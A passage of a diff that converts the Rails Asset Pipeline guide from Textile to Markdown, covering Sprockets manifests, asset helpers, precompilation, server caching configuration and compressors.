-Paths are traversed in the order that they occur in the search path. By default, this means the files in +app/assets+ take precedence, and will mask corresponding paths in +lib+ and +vendor+.
+Paths are traversed in the order that they occur in the search path. By default, this means the files in `app/assets` take precedence, and will mask corresponding paths in `lib` and `vendor`.
It is important to note that files you want to reference outside a manifest must be added to the precompile array or they will not be available in the production environment.
-h5. Using index files
+#### Using index files
-Sprockets uses files named +index+ (with the relevant extensions) for a special purpose.
+Sprockets uses files named `index` (with the relevant extensions) for a special purpose.
-For example, if you have a jQuery library with many modules, which is stored in +lib/assets/library_name+, the file +lib/assets/library_name/index.js+ serves as the manifest for all files in this library. This file could include a list of all the required files in order, or a simple <tt>require_tree</tt> directive.
+For example, if you have a jQuery library with many modules, which is stored in `lib/assets/library_name`, the file `lib/assets/library_name/index.js` serves as the manifest for all files in this library. This file could include a list of all the required files in order, or a simple `require_tree` directive.
The library as a whole can be accessed in the site's application manifest like so:
-<plain>
+```js
//= require library_name
-</plain>
+```
This simplifies maintenance and keeps things clean by allowing related code to be grouped before inclusion elsewhere.
-h4. Coding Links to Assets
+### Coding Links to Assets
-Sprockets does not add any new methods to access your assets - you still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+.
+Sprockets does not add any new methods to access your assets - you still use the familiar `javascript_include_tag` and `stylesheet_link_tag`.
-<erb>
+```erb
<%= stylesheet_link_tag "application" %>
<%= javascript_include_tag "application" %>
-</erb>
+```
-In regular views you can access images in the +assets/images+ directory like this:
+In regular views you can access images in the `assets/images` directory like this:
-<erb>
+```erb
<%= image_tag "rails.png" %>
-</erb>
+```
-Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at +public/assets/rails.png+ it is served by the web server.
+Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at `public/assets/rails.png` it is served by the web server.
-Alternatively, a request for a file with an MD5 hash such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ is treated the same way. How these hashes are generated is covered in the "In Production":#in-production section later on in this guide.
+Alternatively, a request for a file with an MD5 hash such as `public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same way. How these hashes are generated is covered in the [In Production](#in-production) section later on in this guide.
-Sprockets will also look through the paths specified in +config.assets.paths+ which includes the standard application paths and any path added by Rails engines.
+Sprockets will also look through the paths specified in `config.assets.paths` which includes the standard application paths and any path added by Rails engines.
Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag:
-<erb>
+```erb
<%= image_tag "icons/rails.png" %>
-</erb>
+```
-WARNING: If you're precompiling your assets (see "In Production":#in-production below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using <tt>image_tag</tt> and the other helpers with user-supplied data.
+WARNING: If you're precompiling your assets (see [In Production](#in-production) below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using `image_tag` and the other helpers with user-supplied data.
-h5. CSS and ERB
+#### CSS and ERB
-The asset pipeline automatically evaluates ERB. This means that if you add an +erb+ extension to a CSS asset (for example, +application.css.erb+), then helpers like +asset_path+ are available in your CSS rules:
+The asset pipeline automatically evaluates ERB. This means that if you add an `erb` extension to a CSS asset (for example, `application.css.erb`), then helpers like `asset_path` are available in your CSS rules:
-<plain>
+```css
.class { background-image: url(<%= asset_path 'image.png' %>) }
-</plain>
+```
-This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file, then that path is referenced.
+This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as `app/assets/images/image.png`, which would be referenced here. If this image is already available in `public/assets` as a fingerprinted file, then that path is referenced.
-If you want to use a "data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper.
+If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) -- a method of embedding the image data directly into the CSS file -- you can use the `asset_data_uri` helper.
-<plain>
+```css
#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
-</plain>
+```
This inserts a correctly-formatted data URI into the CSS source.
-Note that the closing tag cannot be of the style +-%>+.
+Note that the closing tag cannot be of the style `-%>`.
-h5. CSS and Sass
+#### CSS and Sass
-When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
+When using the asset pipeline, paths to assets must be re-written and `sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
-* +image-url("rails.png")+ becomes +url(/assets/rails.png)+
-* +image-path("rails.png")+ becomes +"/assets/rails.png"+.
+* `image-url("rails.png")` becomes `url(/assets/rails.png)`
+* `image-path("rails.png")` becomes `"/assets/rails.png"`.
The more generic form can also be used but the asset path and class must both be specified:
-* +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+
-* +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+
+* `asset-url("rails.png", image)` becomes `url(/assets/rails.png)`
+* `asset-path("rails.png", image)` becomes `"/assets/rails.png"`
-h5. JavaScript/CoffeeScript and ERB
+#### JavaScript/CoffeeScript and ERB
-If you add an +erb+ extension to a JavaScript asset, making it something such as +application.js.erb+, then you can use the +asset_path+ helper in your JavaScript code:
+If you add an `erb` extension to a JavaScript asset, making it something such as `application.js.erb`, then you can use the `asset_path` helper in your JavaScript code:
-<erb>
+```js
$('#logo').attr({
src: "<%= asset_path('logo.png') %>"
});
-</erb>
+```
This writes the path to the particular asset being referenced.
-Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (e.g., +application.js.coffee.erb+):
+Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb` extension (e.g., `application.js.coffee.erb`):
-<plain>
+```js
$('#logo').attr src: "<%= asset_path('logo.png') %>"
-</plain>
+```
-h4. Manifest Files and Directives
+### Manifest Files and Directives
-Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is true). By serving one file rather than many, the load time of pages can be greatly reduced because the browser makes fewer requests.
+Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if `Rails.application.config.assets.compress` is true). By serving one file rather than many, the load time of pages can be greatly reduced because the browser makes fewer requests.
-For example, a new Rails application includes a default +app/assets/javascripts/application.js+ file which contains the following lines:
+For example, a new Rails application includes a default `app/assets/javascripts/application.js` file which contains the following lines:
-<plain>
+```js
// ...
//= require jquery
//= require jquery_ujs
//= require_tree .
-</plain>
+```
-In JavaScript files, the directives begin with +//=+. In this case, the file is using the +require+ and the +require_tree+ directives. The +require+ directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files +jquery.js+ and +jquery_ujs.js+ that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a +.js+ file when done from within a +.js+ file.
+In JavaScript files, the directives begin with `//=`. In this case, the file is using the `require` and the `require_tree` directives. The `require` directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a `.js` file when done from within a `.js` file.
-NOTE. In Rails 3.1 the +jquery-rails+ gem provides the +jquery.js+ and +jquery_ujs.js+ files via the asset pipeline. You won't see them in the application tree.
+NOTE. In Rails 3.1 the `jquery-rails` gem provides the `jquery.js` and `jquery_ujs.js` files via the asset pipeline. You won't see them in the application tree.
-The +require_tree+ directive tells Sprockets to recursively include _all_ JavaScript files in the specified directory into the output. These paths must be specified relative to the manifest file. You can also use the +require_directory+ directive which includes all JavaScript files only in the directory specified, without recursion.
+The `require_tree` directive tells Sprockets to recursively include _all_ JavaScript files in the specified directory into the output. These paths must be specified relative to the manifest file. You can also use the `require_directory` directive which includes all JavaScript files only in the directory specified, without recursion.
-Directives are processed top to bottom, but the order in which files are included by +require_tree+ is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other in the concatenated file, require the prerequisite file first in the manifest. Note that the family of +require+ directives prevents files from being included twice in the output.
+Directives are processed top to bottom, but the order in which files are included by `require_tree` is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other in the concatenated file, require the prerequisite file first in the manifest. Note that the family of `require` directives prevents files from being included twice in the output.
-Rails also creates a default +app/assets/stylesheets/application.css+ file which contains these lines:
+Rails also creates a default `app/assets/stylesheets/application.css` file which contains these lines:
-<plain>
+```js
/* ...
*= require_self
*= require_tree .
*/
-</plain>
+```
-The directives that work in the JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The +require_tree+ directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory.
+The directives that work in the JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The `require_tree` directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory.
-In this example +require_self+ is used. This puts the CSS contained within the file (if any) at the precise location of the +require_self+ call. If +require_self+ is called more than once, only the last call is respected.
+In this example `require_self` is used. This puts the CSS contained within the file (if any) at the precise location of the `require_self` call. If `require_self` is called more than once, only the last call is respected.
-NOTE. If you want to use multiple Sass files, you should generally use the "Sass +@import+ rule":http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in.
+NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in.
-You can have as many manifest files as you need. For example the +admin.css+ and +admin.js+ manifest could contain the JS and CSS files that are used for the admin section of an application.
+You can have as many manifest files as you need. For example the `admin.css` and `admin.js` manifest could contain the JS and CSS files that are used for the admin section of an application.
The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified. For example, you might concatenate three CSS files together this way:
-<plain>
+```js
/* ...
*= require reset
*= require layout
*= require chrome
*/
-</plain>
+```
-h4. Preprocessing
+### Preprocessing
-The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and an +app/assets/stylesheets/projects.css.scss+ file.
+The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an `app/assets/javascripts/projects.js.coffee` and an `app/assets/stylesheets/projects.css.scss` file.
-When these files are requested, they are processed by the processors provided by the +coffee-script+ and +sass+ gems and then sent back to the browser as JavaScript and CSS respectively.
+When these files are requested, they are processed by the processors provided by the `coffee-script` and `sass` gems and then sent back to the browser as JavaScript and CSS respectively.
-Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS, and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, then CoffeeScript, and served as JavaScript.
+Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called `app/assets/stylesheets/projects.css.scss.erb` is first processed as ERB, then SCSS, and finally served as CSS. The same applies to a JavaScript file -- `app/assets/javascripts/projects.js.coffee.erb` is processed as ERB, then CoffeeScript, and served as JavaScript.
-Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems.
+Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file `app/assets/javascripts/projects.js.erb.coffee` then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems.
-h3. In Development
+In Development
+--------------
In development mode, assets are served as separate files in the order they are specified in the manifest file.
-This manifest +app/assets/javascripts/application.js+:
+This manifest `app/assets/javascripts/application.js`:
-<plain>
+```js
//= require core
//= require projects
//= require tickets
-</plain>
+```
would generate this HTML:
-<html>
+```html
<script src="/assets/core.js?body=1"></script>
<script src="/assets/projects.js?body=1"></script>
<script src="/assets/tickets.js?body=1"></script>
-</html>
+```
-The +body+ param is required by Sprockets.
+The `body` param is required by Sprockets.
-h4. Turning Debugging off
+### Turning Debugging off
-You can turn off debug mode by updating +config/environments/development.rb+ to include:
+You can turn off debug mode by updating `config/environments/development.rb` to include:
-<ruby>
+```ruby
config.assets.debug = false
-</ruby>
+```
When debug mode is off, Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead:
-<html>
+```html
<script src="/assets/application.js"></script>
-</html>
+```
-Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (Not Modified) response.
+Assets are compiled and cached on the first request after the server is started. Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (Not Modified) response.
If any of the files in the manifest have changed between requests, the server responds with a new compiled file.
Debug mode can also be enabled in the Rails helper methods:
-<erb>
+```erb
<%= stylesheet_link_tag "application", :debug => true %>
<%= javascript_include_tag "application", :debug => true %>
-</erb>
+```
-The +:debug+ option is redundant if debug mode is on.
+The `:debug` option is redundant if debug mode is on.
You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging.
-h3. In Production
+In Production
+-------------
In the production environment Rails uses the fingerprinting scheme outlined above. By default Rails assumes that assets have been precompiled and will be served as static assets by your web server.
@@ -376,103 +374,98 @@ During the precompilation phase an MD5 is generated from the contents of the com
For example this:
-<erb>
+```erb
<%= javascript_include_tag "application" %>
<%= stylesheet_link_tag "application" %>
-</erb>
+```
generates something like this:
-<html>
+```html
<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script>
<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" />
-</html>
+```
-The fingerprinting behavior is controlled by the setting of +config.assets.digest+ setting in Rails (which defaults to +true+ for production and +false+ for everything else).
+The fingerprinting behavior is controlled by the setting of `config.assets.digest` setting in Rails (which defaults to `true` for production and `false` for everything else).
NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes.
-h4. Precompiling Assets
+### Precompiling Assets
Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk.
-Compiled assets are written to the location specified in +config.assets.prefix+. By default, this is the +public/assets+ directory.
+Compiled assets are written to the location specified in `config.assets.prefix`. By default, this is the `public/assets` directory.
You can call this task on the server during deployment to create compiled versions of your assets directly on the server. See the next section for information on compiling locally.
The rake task is:
-<plain>
-bundle exec rake assets:precompile
-</plain>
+```bash
+$ bundle exec rake assets:precompile
+```
For faster asset precompiles, you can partially load your application by setting
-+config.assets.initialize_on_precompile+ to false in +config/application.rb+, though in that case templates
-cannot see application objects or methods. *Heroku requires this to be false.*
+`config.assets.initialize_on_precompile` to false in `config/application.rb`, though in that case templates
+cannot see application objects or methods. **Heroku requires this to be false.**
-WARNING: If you set +config.assets.initialize_on_precompile+ to false, be sure to
-test +rake assets:precompile+ locally before deploying. It may expose bugs where
+WARNING: If you set `config.assets.initialize_on_precompile` to false, be sure to
+test `rake assets:precompile` locally before deploying. It may expose bugs where
your assets reference application objects or methods, since those are still
in scope in development mode regardless of the value of this flag. Changing this flag also affects
engines. Engines can define assets for precompilation as well. Since the complete environment is not loaded,
engines (or other gems) will not be loaded, which can cause missing assets.
-Capistrano (v2.8.0 and above) includes a recipe to handle this in deployment. Add the following line to +Capfile+:
+Capistrano (v2.8.0 and above) includes a recipe to handle this in deployment. Add the following line to `Capfile`:
-<erb>
+```ruby
load 'deploy/assets'
-</erb>
+```
-This links the folder specified in +config.assets.prefix+ to +shared/assets+. If you already use this shared folder you'll need to write your own deployment task.
+This links the folder specified in `config.assets.prefix` to `shared/assets`. If you already use this shared folder you'll need to write your own deployment task.
It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page.
-NOTE. If you are precompiling your assets locally, you can use +bundle install --without assets+ on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile).
+NOTE. If you are precompiling your assets locally, you can use `bundle install --without assets` on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile).
-The default matcher for compiling files includes +application.js+, +application.css+ and all non-JS/CSS files (this will include all image assets automatically):
+The default matcher for compiling files includes `application.js`, `application.css` and all non-JS/CSS files (this will include all image assets automatically):
-<ruby>
+```ruby
[ Proc.new{ |path| !%w(.js .css).include?(File.extname(path)) }, /application.(css|js)$/ ]
-</ruby>
+```
-NOTE. The matcher (and other members of the precompile array; see below) is applied to final compiled file names. This means that anything that compiles to JS/CSS is excluded, as well as raw JS/CSS files; for example, +.coffee+ and +.scss+ files are *not* automatically included as they compile to JS/CSS.
+NOTE. The matcher (and other members of the precompile array; see below) is applied to final compiled file names. This means that anything that compiles to JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and `.scss` files are **not** automatically included as they compile to JS/CSS.
-If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array:
+If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the `precompile` array:
-<erb>
+```ruby
config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
-</erb>
+```
NOTE. Always specify an expected compiled filename that ends with js or css, even if you want to add Sass or CoffeeScript files to the precompile array.
-The rake task also generates a +manifest.yml+ that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like:
+The rake task also generates a `manifest.yml` that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like:
-<plain>
+```yaml
---
rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png
jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js
jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js
application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js
application.css: application-8af74128f904600e41a6e39241464e03.css
-</plain>
-
-The default location for the manifest is the root of the location specified in +config.assets.prefix+ ('/assets' by default).
+```
-This can be changed with the +config.assets.manifest+ option. A fully specified path is required:
+The default location for the manifest is the root of the location specified in `config.assets.prefix` ('/assets' by default).
-<erb>
-config.assets.manifest = '/path/to/some/other/location'
-</erb>
+NOTE: If there are missing precompiled files in production you will get an `Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError` exception indicating the name of the missing file(s).
-NOTE: If there are missing precompiled files in production you will get an <tt>Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError</tt> exception indicating the name of the missing file(s).
-
-h5. Far-future Expires header
+#### Far-future Expires header
Precompiled assets exist on the filesystem and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them.
For Apache:
-<plain>
+```apache
+# The Expires* directives requires the Apache module `mod_expires` to be enabled.
<LocationMatch "^/assets/.*$">
# Use of ETag is discouraged when Last-Modified is present
Header unset ETag
@@ -481,11 +474,11 @@ For Apache:
ExpiresActive On
ExpiresDefault "access plus 1 year"
</LocationMatch>
-</plain>
+```
For nginx:
-<plain>
+```nginx
location ~ ^/assets/ {
expires 1y;
add_header Cache-Control public;
@@ -493,34 +486,34 @@ location ~ ^/assets/ {
add_header ETag "";
break;
}
-</plain>
+```
-h5. GZip compression
+#### GZip compression
-When files are precompiled, Sprockets also creates a "gzipped":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves.
+When files are precompiled, Sprockets also creates a [gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves.
-Nginx is able to do this automatically enabling +gzip_static+:
+Nginx is able to do this automatically enabling `gzip_static`:
-<plain>
+```nginx
location ~ ^/(assets)/ {
root /path/to/public;
gzip_static on; # to serve pre-gzipped version
expires max;
add_header Cache-Control public;
}
-</plain>
+```
-This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even +nginx-light+ have the module compiled. Otherwise, you may need to perform a manual compilation:
+This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even `nginx-light` have the module compiled. Otherwise, you may need to perform a manual compilation:
-<plain>
+```bash
./configure --with-http_gzip_static_module
-</plain>
+```
If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted.
A robust configuration for Apache is possible but tricky; please Google around. (Or help update this Guide if you have a good example configuration for Apache.)
-h4. Local Precompilation
+### Local Precompilation
There are several reasons why you might want to precompile your assets locally. Among them are:
@@ -535,159 +528,164 @@ There are two caveats:
* You must not run the Capistrano deployment task that precompiles assets.
* You must change the following two application configuration settings.
-In <tt>config/environments/development.rb</tt>, place the following line:
+In `config/environments/development.rb`, place the following line:
-<erb>
+```ruby
config.assets.prefix = "/dev-assets"
-</erb>
+```
You will also need this in application.rb:
-<erb>
+```ruby
config.assets.initialize_on_precompile = false
-</erb>
+```
-The +prefix+ change makes Rails use a different URL for serving assets in development mode, and pass all requests to Sprockets. The prefix is still set to +/assets+ in the production environment. Without this change, the application would serve the precompiled assets from +public/assets+ in development, and you would not see any local changes until you compile assets again.
+The `prefix` change makes Rails use a different URL for serving assets in development mode, and pass all requests to Sprockets. The prefix is still set to `/assets` in the production environment. Without this change, the application would serve the precompiled assets from `public/assets` in development, and you would not see any local changes until you compile assets again.
-The +initialize_on_precompile+ change tells the precompile task to run without invoking Rails. This is because the precompile task runs in production mode by default, and will attempt to connect to your specified production database. Please note that you cannot have code in pipeline files that relies on Rails resources (such as the database) when compiling locally with this option.
+The `initialize_on_precompile` change tells the precompile task to run without invoking Rails. This is because the precompile task runs in production mode by default, and will attempt to connect to your specified production database. Please note that you cannot have code in pipeline files that relies on Rails resources (such as the database) when compiling locally with this option.
You will also need to ensure that any compressors or minifiers are available on your development system.
In practice, this will allow you to precompile locally, have those files in your working tree, and commit those files to source control when needed. Development mode will work as expected.
-h4. Live Compilation
+### Live Compilation
In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly.
To enable this option set:
-<erb>
+```ruby
config.assets.compile = true
-</erb>
+```
On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash.
-Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache.
+Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache.
This mode uses more memory, performs more poorly than the default and is not recommended.
If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
-<plain>
+```ruby
group :production do
gem 'therubyracer'
end
-</plain>
+```
-h3. Customizing the Pipeline
+Customizing the Pipeline
+------------------------
-h4. CSS Compression
+### CSS Compression
-There is currently one option for compressing CSS, YUI. The "YUI CSS compressor":http://developer.yahoo.com/yui/compressor/css.html provides minification.
+There is currently one option for compressing CSS, YUI. The [YUI CSS compressor](http://developer.yahoo.com/yui/compressor/css.html) provides minification.
-The following line enables YUI compression, and requires the +yui-compressor+ gem.
+The following line enables YUI compression, and requires the `yui-compressor` gem.
-<erb>
+```ruby
config.assets.css_compressor = :yui
-</erb>
+```
-The +config.assets.compress+ must be set to +true+ to enable CSS compression.
+The `config.assets.compress` must be set to `true` to enable CSS compression.
-h4. JavaScript Compression
+### JavaScript Compression
-Possible options for JavaScript compression are +:closure+, +:uglifier+ and +:yui+. These require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems, respectively.
+Possible options for JavaScript compression are `:closure`, `:uglifier` and `:yui`. These require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems, respectively.
-The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compresses your code by removing white space. It also includes other optimizations such as changing your +if+ and +else+ statements to ternary operators where possible.
+The default Gemfile includes [uglifier](https://github.com/lautis/uglifier). This gem wraps [UglifierJS](https://github.com/mishoo/UglifyJS) (written for NodeJS) in Ruby. It compresses your code by removing white space. It also includes other optimizations such as changing your `if` and `else` statements to ternary operators where possible.
-The following line invokes +uglifier+ for JavaScript compression.
+The following line invokes `uglifier` for JavaScript compression.
-<erb>
+```ruby
config.assets.js_compressor = :uglifier
-</erb>
+```
-Note that +config.assets.compress+ must be set to +true+ to enable JavaScript compression
+Note that `config.assets.compress` must be set to `true` to enable JavaScript compression
-NOTE: You will need an "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use +uglifier+. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the "ExecJS":https://github.com/sstephenson/execjs#readme documentation for information on all of the supported JavaScript runtimes.
+NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme) supported runtime in order to use `uglifier`. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the [ExecJS](https://github.com/sstephenson/execjs#readme) documentation for information on all of the supported JavaScript runtimes.
-h4. Using Your Own Compressor
+### Using Your Own Compressor
-The compressor config settings for CSS and JavaScript also take any object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string.
+The compressor config settings for CSS and JavaScript also take any object. This object must have a `compress` method that takes a string as the sole argument and it must return a string.
-<erb>
+```ruby
class Transformer
def compress(string)
do_something_returning_a_string(string)
end
end
-</erb>
+```
-To enable this, pass a +new+ object to the config option in +application.rb+:
+To enable this, pass a `new` object to the config option in `application.rb`:
-<erb>
+```ruby
config.assets.css_compressor = Transformer.new
-</erb>
+```
-h4. Changing the _assets_ Path
+### Changing the _assets_ Path
-The public path that Sprockets uses by default is +/assets+.
+The public path that Sprockets uses by default is `/assets`.
This can be changed to something else:
-<erb>
+```ruby
config.assets.prefix = "/some_other_path"
-</erb>
+```
This is a handy option if you are updating an existing project (pre Rails 3.1) that already uses this path or you wish to use this path for a new resource.
-h4. X-Sendfile Headers
+### X-Sendfile Headers
The X-Sendfile header is a directive to the web server to ignore the response from the application, and instead serve a specified file from disk. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster.
-Apache and nginx support this option, which can be enabled in <tt>config/environments/production.rb</tt>.
+Apache and nginx support this option, which can be enabled in `config/environments/production.rb`.
-<erb>
+```ruby
# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
-</erb>
+```
-WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into +production.rb+ and any other environments you define with production behavior (not +application.rb+).
+WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into `production.rb` and any other environments you define with production behavior (not `application.rb`).
-h3. Assets Cache Store
+Assets Cache Store
+------------------
-The default Rails cache store will be used by Sprockets to cache assets in development and production. This can be changed by setting +config.assets.cache_store+.
+The default Rails cache store will be used by Sprockets to cache assets in development and production. This can be changed by setting `config.assets.cache_store`.
-<ruby>
+```ruby
config.assets.cache_store = :memory_store
-</ruby>
+```
The options accepted by the assets cache store are the same as the application's cache store.
-<ruby>
+```ruby
config.assets.cache_store = :memory_store, { :size => 32.megabytes }
-</ruby>
+```
-h3. Adding Assets to Your Gems
+Adding Assets to Your Gems
+--------------------------
Assets can also come from external sources in the form of gems.
-A good example of this is the +jquery-rails+ gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from +Rails::Engine+. By doing this, Rails is informed that the directory for this gem may contain assets and the +app/assets+, +lib/assets+ and +vendor/assets+ directories of this engine are added to the search path of Sprockets.
+A good example of this is the `jquery-rails` gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from `Rails::Engine`. By doing this, Rails is informed that the directory for this gem may contain assets and the `app/assets`, `lib/assets` and `vendor/assets` directories of this engine are added to the search path of Sprockets.
-h3. Making Your Library or Gem a Pre-Processor
+Making Your Library or Gem a Pre-Processor
+------------------------------------------
-TODO: Registering gems on "Tilt":https://github.com/rtomayko/tilt enabling Sprockets to find them.
+TODO: Registering gems on [Tilt](https://github.com/rtomayko/tilt) enabling Sprockets to find them.
-h3. Upgrading from Old Versions of Rails
+Upgrading from Old Versions of Rails
+------------------------------------
-There are a few issues when upgrading. The first is moving the files from +public/+ to the new locations. See "Asset Organization":#asset-organization above for guidance on the correct locations for different file types.
